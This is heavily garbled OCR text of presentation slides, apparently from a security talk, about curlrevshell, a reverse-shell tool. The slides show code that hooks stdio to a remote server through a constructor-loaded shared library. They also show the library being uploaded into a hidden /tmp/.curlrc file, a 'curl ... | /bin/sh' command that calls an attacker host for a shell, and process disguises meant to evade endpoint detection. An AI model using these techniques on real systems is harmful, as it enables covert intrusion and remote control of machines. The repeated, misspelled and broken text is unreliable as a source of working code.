* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
Fingerprint,
] @ init.c (~flutlolfsreflibersconn) (1of 2) - VIM X2 }
init.c _liberscann. x e r i iR L AP ; g
stk connect_stduol » 3 ..-‘.lg. LTI i i Ll
—agttribute__({constructor)) t
1 etor
; { J ] /* Hook up stdio. */

connect_stdio();

4,1 Bot
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& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnitie Libersconn.go |
Ne custom code yet 2

URL
{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
Fingerprint,
] @ init.c (~flutlolfsreflibersconn) (1of 2) - VIM X2 }
init.c _liberscann. x e r i iR L AP ; g
stk connect_stduol » 3 ..-‘.lg. LTI i i Ll
—agttribute__({constructor)) t
1 et
E arf J 4 /* Hook wp stdio. */
1 4 ')
connect_stdio(); ; %
i}

4,1 Bot
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Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnitie Libersconn.go |
Ne custom code yet 2

URL
{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
Fingerprint,
] @ init.c (~flutlolfsreflibersconn) (1of 2) - VIM X2 }
init.c _liberscann. x e r i iR L AP ; g
. : Ty 3: g ..l'.lg. (“Failed et SEMVE ]
—agttribute__({constructor)) t
1 et
E arf b 4 /* Hook wp stdio. */
connect shdiol): 4 syscall. 4 c.FdC) os.5tdin, Fa())
3 44

4,1 Bot
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& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnitie Libersconn.go |
Ne custom code yet 2

URL
{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
Fingerprint,
] @ init.c (~flutlolfsreflibersconn) (1of 2) - VIM X2 }
init.c _liberscann. x e r i iR L AP ; g
i ¥ connect_stduol » - ..-‘.lg. SThavind e i 0T
—agttribute__({constructor)) t
1 et
E arf b 4 /* Hook wp stdio. */
connect shdiol): 4 syscall. CintCe.FaC)), intfos.5tdin, Fd()))
3 44

4,1 Bot

Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnit.c libersconn.go |,

Ne custom code yet 2 g

{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
L Fingerprint,
i @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM 2 3 }
init.c _libcrsconn. x o r . i T : :
. - ————p 3: \..- ag { al led % 18l | Ly T E'I"r'}
—agttribute__({constructor)) t
1 et
E arf b 4 /* Hook wp stdio. */
. connect shdiol) 4 f ere syscoll, Cint{e.FdC), tlos. Stdin. Fd())); ml = err |
: } ) ' 44 log. ("Error hooking up stdin . arr)
8,1 Bot }
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Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

_nit.c libersconn.go |

Ne custom code yet 5=t g

{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell, =/
c, err crsdialer. {
context . £
URL ,
3t Fingerprint,
i @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM 2 / ¥
1.n1t ¢ _libcrscann. S . ; .
connect_stdiol T log. tf("Failed to connect to Server ', BrP)
—ottribute__((constructor)) : b
1 etor 3 :
{ /* Hook wp stdio. */
13 connect_stdia(); 4 f err := syscall, CintCe.Fa()), intfos.5tdin, Fd())); mil = err {
| :‘ - ; 44 'Iﬂ'-:d ( ETrDr RoOxing wp STALn 0 '-?r\l'
8,1 Bot ; }
if erp syscall, Cintle.Fa()), untlos. Stdout. FA()2D; nild err {
log. (“Error hooking wp stdout: . BPF)
b
f err := syscall. CintCe. FA0], Cos.Stderr.Fo(30); n err {
log. o ("Error hooking wp stderr: Ns", err)
}

24,1 92%

&

Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




Go is "easy" to compile

& 0 Linuxbuild

K2
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Go is "easy" to compile

-] B Linuxbuild

i ls

README .md  add_sneaky_remap.go  1mit.c  libersconn.go

TH2



Go is "easy" to compile

L N Linuxbulld wH2
[stuart#] inuekul ld: ome stuartTut Lol /s bersconm]

$ 13

README . md ndd_sn-ﬂk;.r,rm gu imt ¢ liberscann.go

[tusmrti] imanbui T Shome 51 tlelfare/ 11 borsconn]

§ go build -buildmode c- shared -0 hbl:rsl:um so0 -ldflaogs "-w -s
-X main URL=https://ops. mot-hdx . com:5555/10
-A main, Fingerprint=CkYWAZyMERPIVIMST Dip (NS XNOVE 7B as | RHPCDZ /0T
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Go is "easy" to compile

L I Linuxbulld wH2
.[sl.L..nrtFanusn.hmld' home' stuart/lutlol/erc/ 1 ibersconn]

$ 13

README .md  add_sneaky_rémap., gp imt.c libersconn.go

[tusmrti] imanbui T Shome s tu lut lal Asrc/1 i bcrsconn)

§ go build -buildmode c- shared -0 hbl:rsm.su -1dflags "-w -s

-X main.URL=https: /. ops. not-hdx. com: 5555/ 10

-% main. F‘:nﬂll‘nl"irrt—CtmIHﬂWWMTIHJIEHMFBMIMNMI—
[Stuart®] L nuxbutld: bt lol S srof i e rseonn ]
§ file libcrsconn.so

libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,

BuildID[shal]=Beed 2007050700 3abe 200 353448 2 beadelas58, stripped
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Go is "easy" to compile

L I Linuxbulld wH2
.[Etmrtuhnuthld' homes stuart lut lol/src/ i bersconn]

$ 13

README .md  add_sneaky_remap.ge  imt.¢  libersconn.go

[stusort#] imanbui Td: Shomes s tuort/ ot Lol Sarc/ 1 i borsconn]

§ go build -buildsode c-shared -o libcrsconn.so -ldflogs "-w -s
-& main.URL=https://ops. not-hdx. com: 5555/ 10
-% main. Fingerprint=ChYWAzyidERPIVIMs TINp IMSENOVE 7B as | RHPC D2 /01- "
[stuart®] Lnuxbut ld: Home stuart ut lol/sre/ i berstonn)
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=6eed 2BcO7a5a7003ale OB 153440 beade 10558, stripped
|_1.':|.nur1l!7l"|_1nu1bu1 1d: Mhomesstuart Mot lal fere T 1bers rnr-r-]
§ 1s -hl libcrsconn.so
=rW=pF--p<= 1 stugrt stuart 6.0M Sep B 22:11 libcrsconn.so
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Uploading is just write(2)

L BN Linuxbuild a2

[stuart#] inuekul ld: ome stuartTut Lol /s b racnnn]
$ 13
README . md ndd_sn-ﬂk;.r,rm gu imt.¢  libersconn.go
[stonso 8T Lrmabui Td : /vome 51 L tlelsere/libcrsconn]
§ go build -buildmode c—shared -0 hbr_rsm.sn -1dflags "-w -s
-X main URL=https://ops. not-hda . com: 5555/ 10
-4 main. F1.ng:mﬂﬂ{tﬂ:ﬂﬂﬂ%ﬂﬂpﬂﬁ#%?ﬂuﬂFIJ'I’{DE.-"DI-
[Stuart®] Lnuxbut 1d; o ottt 1ol A sr Lib i ]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
Bu'l.'|.dIﬂ[Wl]-&ﬂihﬁ?ﬁﬂmmﬂfﬁ?ﬁﬂ&mﬁﬂﬂﬁﬂ stripped
[stwart®] L ouchut 1d: AAome s tuors ot Lol Asrc/ T 1 berscomm ]
¥ 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuart stuart 6.0M Sep E 22 11 libcrsconn. so
[stuartfl {nucbul Ld: /home /st bersconn]

5 echo hello | —"tnprm-tfftwmtf pl J"wf :uwlr':
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Uploading is just write(2)

L BN Linuxbuild a2

[stuart#] inuekul ld: ome stuartTut Lol /s b racnnn]
$ 13
README . md ndd_sn-ﬂk;.r,rm gu imt.¢  libersconn.go
[stonso 8T Lrmabui Td : /vome 51 L tlelsere/libcrsconn]
§ go build -buildmode c—shared -0 hbr_rsm.sn -1dflags "-w -s
-X main URL=https://ops. mot-hdx . com:5555/10
-4 main. F1.ngr.l‘pr'tﬂétmﬂmﬂh‘sﬂﬂpﬁﬁ#m%uﬂmﬁfm-
[Stuart®] Lnuxbut 1d; o ottt 1ol A sr Lib i ]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
Bu'l.ldIﬂ[.iJ'udl]-'EeﬂEB\:E?ﬁummﬂfﬁ.“ﬂﬁbwﬁe!uﬁﬂ stripped
[stwart®] L ouchut 1d: AAome s tuors ot Lol Asrc/ T 1 berscomm ]
¥ 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuart stuart 6.0M Sep E 22 11 libcrsconn. so
[stuartfl {nucbul Ld: /home /st bersconn]
5 echo hello | —"tnprm-tfftwmtf pl J"wf :uwlr':
> tmpd  ourlrg
primtf "USNI4SNISAISISTE" =S tmpd curlre
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Uploading is just write(2)

L N Linuxbulld wH2
[stuart#] inuekul ld: ome stuartTut Lol /s bersconm]

$ 13

README . md ndd_sn-ﬂk;.r,rm gu imt ¢ liberscann.go

[tusmrti] imanbui T Shome 51 tAut lel Sarc/ 1 borsconn]

§ go build -buildmode c—shared -0 hbr_rsl:um.sn -1dflags "-w -s

-X main URL=https://ops. not-hda . com: 5555/ 10

-% main. Fingerprint=ChYWAzyidERPIVIMs TINp IMSENOVE 7B as | RHPC D2 /01- "
[stuart®] Lnuxbut 1d: Shome stumr M lut 1ol A Libcr i ]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
am1dm[Wl]-&uzug?mmmwrasmwmsss stripped
[stwart®] L ouchut 1d: AAome s tuors ot Lol Asrc/ T 1 berscomm ]
5 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuart stuart 6.0M Sep B 22: 11 libcrsconn. so
[stuartfl {nucbul Ld: /home /st 1144 Lbersconn)

5 echo hello | —"tnprm-tfftwmtf pl J"wf curlre

>ftmpd  ourlre
printf "ASEAI45M 1540154015020 :r:-ftrrpf curlrc
[stusort®] mucbui Td: Mhome/stuart Tut loL/srg/ Liborsoonn ]

§ L LStoprintfiteprintf.pl ftrrpf curlrr. Siberseonn. sa =-fers/ckrl-1/liborsconn. sube
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Uploading is just write(2)

L N Linuxbulld wH2
[stuart#] inuekul ld: ome stuartTut Lol /s bersconm]

$ 13

README .md  add_sneaky_rémap., gu imt ¢ liberscann.go

[stmsor 8] imaabui Td: Some stumrt/Tut Lol Sarc/ 1 i borsconn]

§ go build -buildmode c—shared -0 hbl:rsm.su -1dflags "-w -s
-X main URL=https:/fops. mok-hdx, com: 5555/ 10
-% main. Fingerprint=ChYWAzyidERPIVIMs TINp IMSENOVE 7B as | RHPC D2 /01- "
[stuart®] Lnuxbut ld: homed stumrt ot Lol sro/ L i bersconn]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=-6eed2Bc97 050709 3ake 2001 353440 bealle 1558, stripped
[stwart®] L ouchut 1d: AAome s tuors ot Lol Asrc/ T 1 berscomm ]
5 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuart stuart 6.0M Sep B 22: 11 libcrsconn. so
[stuartfl {nucbul Ld: /home /st 1145 Lbersconn)
5 echo hello | —"tnprln-tfftwmtf pl J"wf curlre

>ftmpd  ourlre

printf "ISN145415441544%15712" :ﬁftrrw".tur'lr'c

[stusart®] LmuochuiTd: Mhomestuert ot lol/sro/ Liborsconn]

§ L LStoprintfrteprintfopl Semp. curlrr. flib:rsr:onn 50 wfersfebrl -1/ Tiborsconn. sube
[stwart®] Lnucbul Ld: Mome styaartut 1 roi'l L berscann)

§ head -n 2 a—?‘crm"ctrl-l.’hbcrﬁtnrn sl.lrr'

=/ tmpd . ourlre

printf "EFTIASIIAI0EMINIWS RN e mp L curlee

R R EE=—SEEEEE—
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h“m

i
12:52:03.544 Inserting crsfctrl-i
17:52:03, 6% Inssrted HM1B0512 bytes Ffrom crsdfotrl-i

U pload ing iS juSt Wr i t c ( 2 ) 12:52:03.696 SHAZSH: Fed4D41e200b0RBFEdid 260345793 FhISES1c 1AF5I4e 1041480897 Jac Mo
T —

L L Linuxbuild H2
. [stuarti] tnucbol Ld: Momes stuart Tut Lol ferc/ Libersconn] .
$1s

README .md  add_sneaky_remap.ge  imt.¢  libersconn.go
[stuort® imabuild: Momesstuort lut lol/sro/ i borsaonn ]
% go build -buildsode c-shared -o libcrsconn.so -1dflags "-w -
-& main.URL=https://ops. not-hdx. com: 5555/ 10
-% main. Fingerprint=ChYWAzyidERPIVIMs TINp IMSENOVE 7B as | RHPC D2 /01- "
[stuart®] Lnuxcbut 1d: Shome stomr s ot 1ol Asrcd T e rse .'i-nll]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=6eed 2BcO7a5a7003ale OB 153440 beade 10558, stripped
[stwsarti®] {muchid 1d: Shomes stuart ot Lol Ssre/ T berscomm ]
% 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuagrt stuart 6.0M Sep B 22:11 libcrsconn.so
[stuart#l {nucbul ld: /home/stuert Tut lol/are/ T L bersconn)
5 echo helle | . Atoprintf/toprintf.pl Jtmp/ . curlre
>ftmpd  ourlre
printf "ASEI4541544%154415712" s/ tmps  curlre
[stusart®] Cnucbud Td: Mhome/ stuart Tut Lol/srcd/ Liborsconn]
$ L Stoprintfitoprintf.opl stmps curlee | /libersconn.so >~/ers/cbrl-1/liborsconn. sube
[stuwart®] inunbul Ld: /homes stuart Tut Lol Sared/ 1 L berscann]
% head -n 2 ~/ersfetrl-v/libersconn . subr

=/ tmpd . ourlre
printf "WEFFIE5MIIANIBENINININGA NN WMDY = bmp L il
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h“m

12:52:03.544 Inserting crsfctrl-i
17:52:03, 6% Inssrted HM1B0512 bytes Ffrom crsdfotrl-i

U p | Oad in g iS j u St w r i -t e ( 2 ) 12:52:03, 650 SHAZSE: FeddddLelMhbefGafdbl b 305 PH3 M55 1 c 1R FS 341 91 AR08 7 Jac K|

» ocho Done,

L L Linuxbuild H2
. [stuarti] tnucbol Ld: Momes stuart Tut Lol ferc/ Libersconn] .
$1s

README .md  add_sneaky_remap.ge  imt.¢  libersconn.go
[stuort® imabuild: Momesstuort lut lol/sro/ i borsaonn ]
% go build -buildsode c-shared -o libcrsconn.so -1dflags "-w -
-& main.URL=https://ops. not-hdx. com: 5555/ 10
-% main. Fingerprint=ChYWAzyidERPIVIMs TINp IMSENOVE 7B as | RHPC D2 /01- "
[stuart®] Lnuxcbut 1d: Shome stomr s ot 1ol Asrcd T e rse .'i-nll]
§ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=6eed 2BcO7a5a7003ale OB 153440 beade 10558, stripped
[stwsarti®] {muchid 1d: Shomes stuart ot Lol Ssre/ T berscomm ]
% 1s -hl libcrsconn.so
=rw=pF--p«= 1 stuagrt stuart 6.0M Sep B 22:11 libcrsconn.so
[stuart#l {nucbul ld: /home/stuert Tut lol/are/ T L bersconn)
5 echo helle | . Atoprintf/toprintf.pl Jtmp/ . curlre
>ftmpd  ourlre
printf "ASEI4541544%154415712" s/ tmps  curlre
[stusart®] Cnucbud Td: Mhome/ stuart Tut Lol/srcd/ Liborsconn]
$ L Stoprintfitoprintf.opl stmps curlee | /libersconn.so >~/ers/cbrl-1/liborsconn. sube
[stuwart®] inunbul Ld: /homes stuart Tut Lol Sared/ 1 L berscann]
% head -n 2 ~/ersfetrl-v/libersconn . subr

=/ tmpd . ourlre
printf "WEFFIE5MIIANIBENINININGA NN WMDY = bmp L il
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L} & Ops - Curlrevshal| T

Uploading is just write(2)

ocho Done,

-] B Linuxbulld TH2

% 1s
README .md  add_sneaky_remap.go imit.c libersconn.go

i go build -buildsode c-shared -o libcrsconn.so -1dflogs "-w -s
-X main URL=https:/ ops. not-bdx. com:5555/10
-4 main. Fingerprint=ChYWizyhd tRP1VIMS T Dp jMS ENOVK TRas | RHPCDZ /0 1="
3 riil] Lnuxbu |
{ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=beed 2BcO705aTR03aleddd F 353040 bealle 10558, stripped
¥ 1s =hl libcrsconn.so
=rW=-r==r== 1 stugrt stuart 6.@M Sep B 22:11 libcrsconn.so
sarti] Lnucbul td |
i echo helle | .. Atoprintf/toprintf.pl Stmp/ . curlre
= tmps  ourlre
primtf "USNI4SNISAAISAISTL" =eStmpd curlre
FstwnryE] Loucbuild |
Atoprintfiteprintfopl Jtmps . curlee | Slibersconn.so »~fers/ckrl-1/liborsconn. subr
§ head -n 2 ~fersfetrl-1/libersconn. sulbr
>/ tmpd  ourlre
printf "IFTIASAIIAI06AZN TN ENENENEN NN s tmpy L curlee
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L} & Ops - Curlrevshal| T

Uploading is just write(2) = =

-] B Linuxbulld TH2

% 1s
README .md  add_sneaky_remap.go imit.c libersconn.go

i go build -buildsode c-shared -o libcrsconn.so -1dflogs "-w -s
-X main URL=https:/ ops. not-bdx. com:5555/10
-4 main. Fingerprint=ChYWizyhd tRP1VIMS T Dp jMS ENOVK TRas | RHPCDZ /0 1="
3 riil] Lnuxbu |
{ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
BuildID[shal]=beed 2BcO705aTR03aleddd F 353040 bealle 10558, stripped
¥ 1s =hl libcrsconn.so
=rW=-r==r== 1 stugrt stuart 6.@M Sep B 22:11 libcrsconn.so
sarti] Lnucbul td |
i echo helle | .. Atoprintf/toprintf.pl Stmp/ . curlre
= tmps  ourlre
primtf "USNI4SNISAAISAISTL" =eStmpd curlre
FstwnryE] Loucbuild |
Atoprintfiteprintfopl Jtmps . curlee | Slibersconn.so »~fers/ckrl-1/liborsconn. subr
§ head -n 2 ~fersfetrl-1/libersconn. sulbr
>/ tmpd  ourlre
printf "IFTIASAIIAI06AZN TN ENENENEN NN s tmpy L curlee
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L} & Ops - Curlrevshal| T

Uploading is just write(2) = =

-] B Linuxbulld TH2

i ls
REMME md add_ 5nuuky rémap.ga  init.c  libersconn.go

i oo m.nld I:lu11dn:-de c-shared -0 libcrsconn.so -ldflogs "-w -s
-X main URL=https:/ ops. not-bdx. com:5555/10
-4 main. Fingerprint=ChYWizyhd tRP1VIMS T Dp jMS ENOVK TRas | RHPCDZ /0 1="
3 riil] Lnuxbu |
{ file libcrsconn.so
libcrsconn.so: ELF B4-bit LSE shared object, xB6-B4, version 1 (5YSV), dynamically linked,
!-..1'|dII:I[-;hnT]-Eeed-zﬂcg?a'sa?M%a.ﬁeéﬂfﬁmﬂ?bmﬂe]nﬁﬁs stripped
¥ 1s -hl 11bcr'5cl:-nn.5l:l
=rW=-r==r== 1 stugrt stuart 6.@M Sep B 22:11 libcrsconn.so
o] Lnuxbul 1d |
i echo helle | .. Atoprintf/toprintf.pl Stmp/ . curlre
= tmp/ . curlrc
prmtf 1k].S»ﬂ\145‘.15-1-\15-*‘«15F‘-.l.i! =a/tmps  curlrc
] it 1
.-'tmrmﬂ'f'tnprln{-F pl fempf . curlee | Alibersconn.so :---.-"C1"5.—'£|:|‘:l 1/libcrsconn. sube
§ head -n 2 --‘cr5.r'ctr'1 v/libcrsconn ., subr
>/ tmpd  ourlre
prmtf \1-.??‘-.;95\114&196\2\1‘\1‘\Q\ﬁ'~.ﬂ'~,ﬁ\ﬂ\€l\a&ﬂ\a‘ :»:».-"tmpx curlrc

Pm :r.rsf'l:trl 1:"lth-:.r':cunn suber
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Gurirevshell, the reverse bit

Ops - (!Curl)revshell %2

ene
[stuartfops.not-hdx. Lol : Mhome/stuart]

% curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-1 crs/ctrl-i %
-listen-address @.8.0.8:5555

>
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Gurirevshell, the reverse bit

enve Ops - (1Curl)revshell X2

[stuartfops.not-hdx. Lol : Mhome/stuart]
% curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-1 crs/ctrl-i %

> -listen-address @.0.@,0:5555
12:55:21.276 Welcome to curlrewvshell wersion v@.8.1-beta.7.0.202509052208249-9c38398bce6

12:55:21.307 Listening on 0.0.9.8:5555
12:55:21.308 To get a shell:

curl -sk --pinnedpubkey sha256//TkYWAZyhdtRPIVIMSTIXp JMSXNSYKTEBas 1 RHPCDZ /0TI= https://ops.not-hdx. 1ol :5555/c | 7bin/sh
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Gurirevshell, the reverse bit

ene Ops - (ICurljrevshell

2

[stuartfops.not-hdx. Lol : Mome/stuart]
$ curlrevshell -callback-oddress ops.not-héx.lol -template crs/crs.tmpl -ctrl-i crs/ctrl-i %
> -listen-address @.8.@,8:5555

12:55:21.276 Welcome to curlrewvshell we -
12:55:21.307 Listening on 0.0.0.0:5555| @ © @ Ops - Curirevshell 31

12:55:21.308 To get a shell:

> echo Done.
" Done.
> echo "enable /tmp/.curlrc” | ( bash & ) &

Sbin/sh

curl -sk --pinnedpubkey sha256//Ck
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Gurrevshell, the reverse bit

ance Ops - ({Curl)revshell Tx2

[stuartfops.not-hdx. Lol : Mome/stuart]
% curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i1 crs/ctrl-i %

> -listen-address @.8.8,0:5555

12:55:21.276 Welcome to curlrevshell ve =
12:55:21.307 Listening on 0.0.0.0:5555 00 Ops - Curirevshell 31

12:55:21.308 To get a shell:

> echo Done.
* Done.
> echn "enable ftmpf curlrc” | ( bash & ) &

curl -sk --pinnedpubkey sha?S56//Ck Sbin/sh

12:56:56.812 [10.135.2.241] Shell is

bash: line 1: enable: connot find .ﬁw&_ d symbol: /tmp/.curlrc_struct
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Gurrevshell, the reverse bit

ance Ops - ({Curl)revshell Tx2

[stuartfops.not-hdx. Lol : Mhome/stuart]
% curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-1 crs/ctrl-i %

> -listen-address @.0.@,0:5555
12:55:21.276 Welcome to curlrewvshell wersion v@.8.1-beta.7.0.202509052208249-9c38398bce6

12:55:21.307 Listening on 0.0.9.8:5555
12:55:21.308 To get a shell:

curl -sk --pinnedpubkey shalS56//CkYWAZyhatRPIVIMsTIXp JMSXNOVKTBasIRHPCDZ /0I= https://ops.not-hdx. Lol :5555/c | /binssh

12:56:56.812 [10.135.2.241] Shell is ready to go!
bash: line 1: enable: cannot Find /tmps. curlrc_struct in shared object Atmps.curlrc: Jtmps. curlrc: undefined symbol: /tmp/.curlrc_struct

bash: line 1: enable: /tmp/.curlrc: mot @ shell builtin
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Gurrevshell, the reverse bit

ance Ops - ({Curl)revshell Tx2

[stuartfops.not-hdx. Lol : Mhome/stuart]

% curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-1 crs/ctrl-i %
> -listen-address @.8.@,0;5555

12:55:21.276 Welcome to curlrevshell wversion v@.8.1-beta.?.0.20250985228249-9c38398bced6
12:55:21.307 Listening on 0.0.9.8:5555

12:55:21.308 To get a shell:

curl -sk --pinnedpubkey sha?S56//CkYWAzyhdtRPIVIMsTIXp JMSXNOYKTBasIRHPCDZ2 /0I= https://ops.not-hdx.lel:5555/c | /bin/sh

12:56:56.812 [19.135.2.241] Shell is ready to go!
bash: line 1: enable: cannot Find /tmps. curlrc_struct in shared object Atmps.curlrc: Jtmps. curlrc: undefined symbol: /tmp/.curlrc_struct
bash: line 1: enable: /tmp/.curlrc: mot @ shell builtin

> ps owwwiux
USER PID %CPU XMEM ¥5Z  RSS TTY STAT START  TIME COMMAND
root 2 9.0 0.0 @ ar 5 Aug3l  @:00 [kthreadd]

| raot i 90 00 @ R7 I« Aug3l @:2¢ . [rou_gpl
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Stealth is the eye of the eDr-holder

ane Ops - (!Curl)revshell TH2
wurzel 477131 8.0 ©.1 2584 936 7 5 18:14  @8:0@ /binssh

wurzel 477133 2.8 2.3 94148 11168 7 5 18:14 8:52 . curl -sk --pinnedpubkey sho256//CkYWAZyhatRPIVZMsST IXpiMSXNGVEKTBas 1 RHPCDZ/Ql=
https:/fops.not-hdx, Lol 4444/ 1/ 34kwjBcbx2 g -N

wurzel 477134 3.0 @6 4495 3208 7 5 18:14 1:18 “_ /bin/bash

wurzel 477135 9.8 2.2 04896 187e4 7 5 18:14 @9:28 _ curl -K- something-normal . com

wurzel 477312 8.0 2.1 1682912 9944 7 Sl 18:56 @:080 bash

wurzel 477320 0.0 8.8 8540 419 7 R 19:57 @:80 o ps owwfux
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Stealth is the eye of the eDr-holder

ave Ops - (ICurl)revshell T2
wurzel 477131 8.0 ©.1 2584 936 7 5 18:14  @8:0@ /binssh

wurzel 477133 2.8 2.3 94148 11168 7 5 18:14 8:52 . curl -sk --pinnedpubkey sho256//CkYWAZyhatRPIVZMsST IXpiMSXNGVEKTBas 1 RHPCDZ/Ql=
https:/fops.not-hdx, Lol 4444/ 1/ 34kwjBcbx2 g -N

wurzel 477134 3.0 @6 4495 3208 7 5 18:14 1:18 “_ /bin/bash

wurzel 477135 9.8 2.2 04896 187e4 7 5 18:14 @9:288 _ curl -K- something-normal . com

wurzel 477312 8.0 2.1 1682912 9944 7 51 10:56 @:00/bash i

wurzel 477320 0.0 8.8 8540 419 7 R 19:57 ﬁ:ﬂimi'gh ps awwwius |
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On Linux, everything is a file (descriptor)

aoe Ops - (!Curl)revshell T2
> 1s -1 /proc/$3/fd

total &

Lrwx====== 1 wurzel wurzel 64 Sep 18 18:57 @ -> socket:[2487659]

Trwg------ 1 wurzel wurzel b4 Sep 18 18:57 1 -» socket:[2487659)

Trwot--==== 1 wurzel wurzel 64 Sep 18 18:57 2 -> socket:[2487659]

Bl S 1 wurzel wurzel 64 Sep 18 18:57 3 -= fsys/Fs/cgroup/user.slice/user-180@. slice/session-565. scope/cpu. max
Trwg====== 1 wurzel wurzel B4 Sep 18 18:57 4 -> socket:[2487659]

Trws-=enx 1 wurzel wurzel B4 Sep 10 18:57 5 -> socket:[2487668]

Trwg------ 1 wurzel wurzel 64 Sep 18 18:57 & -> onon_inode; [eventpoll]

Trwk---=== 1 wurzel wurzel 64 Sep 18 18:57 7 -= anon_inode: [eventfd]

TrwK=-==--= 1 wurzel wurzel 64 Sep 18 18:57 B -» socket:[2487661)
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Memory we have mapped (mmap(2)'d)

aae

» echo -E "$(</proc/33/maps)”
cODORR0DES - cOPB4B00RE rw-p CROO0DDD 8008 @
cOS3A 00000 - CODIDDR00E ---p DOGOO0DE 0000 @
556e93F1e@0@-55603F44000 r--p OODBOO0Q fe:01 443
556093 f44000-556094000000 r-xp QDD2TO0Q fe:01 443
556e34000000-556e94046000 r--p DROFOO00 fe:@1 443
S56e24046000-556294040000 r--p 00128000 fe:01 443
556e94040000-556e94053000 rw-p 0Q12c000 fe:01 443
556294053800 -556004050000 rw-p DODDEOOE BO:00 @
556ecf580000-556ec F5obd@0 rw-p DDDROAOD &0:00 @
TFe4fE0D0800-7TFedfERZ1000 rw-p DDODOROO 00:00 @
7redfED21000-7fedf cODODD ---p DODDOOOD O2:00 &
Tredff7FFo00-7Fedf FEDO00Q ---p OODBOOOD O0:00 @
7fedf FE00000- 7 feS00000000 rew-p 0ODBOO0D B0:00 @
7 FeS00000a0a-T7 feS00021080 rw-p DODRODOE 0000 @
7FeS0002 1800 - 7 feSt4000000 ---p GODBOOO0 00:00 @
7HespDeaoe-7feSiMe2 1000 rw-p DODDOOOD O0:00 @
7FesS@4021000-7 feS05D00000 ---p DRODDGEO0 B0:00 @
TFesEn0egon-7feS0E02 1000 rv-p OODBOOOD &0:00 0
TFeSREa2180a- 7 feSRcbpedad ---p DODSIE00 20 20 @
PreS@c? fdodd-TeSBc? feddd ---p OODBOOOD 0020 &
7FeSac7 feddd-7feStcffeddd rw-p DODDOOOR &0:00 @

Ops - (!Curljrevshell

Jusr/bin/bash
Jusr/bin/bash
fusr/bin/bash
fusri/bin/bash
fusr/bin/bash

[heap]
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Files we shouldn't have mapped

7 Fe558e00000 - 7 fe559600008
7Fe559600008-7 fe55968 000
TFeS5968e008 - 7 Fe55990d4000
7 FaS59904008 - 7 faS59985000
TFes59985008- 7 fesS59%hb 700
TFes59bb7ond- 7 fes59co0nng
TFe559c00008-7fe559c41008
TFe559cc0000 - 7 Fe559d3000S
7 Fes50d3b00E - 7 fes5040b0BE
7Fes59d49b00a -7 FeS59dF 2008
7 FeS59df2008-7fes59df 3008
7FeS50dF3008-7 fe559dF4D00
7 Fe5504F4000- 7 fe5594F 5000
T fe5594 5000 -7 fe559d 6008
7 FeS59dFE008- 7 feS59dFdoed
7Fe559dfdopd- 7 fe559e0000d
7Fe550:00008 - 7 fe550a 20008
TFe550e26000- 7 feS59F7 chbd
7 FeS59f 7 clel- 7 feS59fcFopa
7 FeS509f cFo0R- 75591 d3008
7FeS59Fd3000- 7 fes559FdS000
7Fe550f dSP00-7Fe550F e 2000

rv-p GO0DDS20 BO:299 @
r--p G00DDSGE fe:@1 445
r-xp SO08c00d fe:81 445
r--p BA304000 fe:@1 445
r--p 8384008 fe:81 445
re-p BA5SboB0d fe:@1 445
rn-p GO0DBS0E 00299 @
ri-p SR006208 0O:00 &
rw-p G00DOA00 BB 23 B
r--p QODPORGA fe:81 6338
r--p 00D0E0a fe.81 7474
r--p GORDODA fe:B1 7483
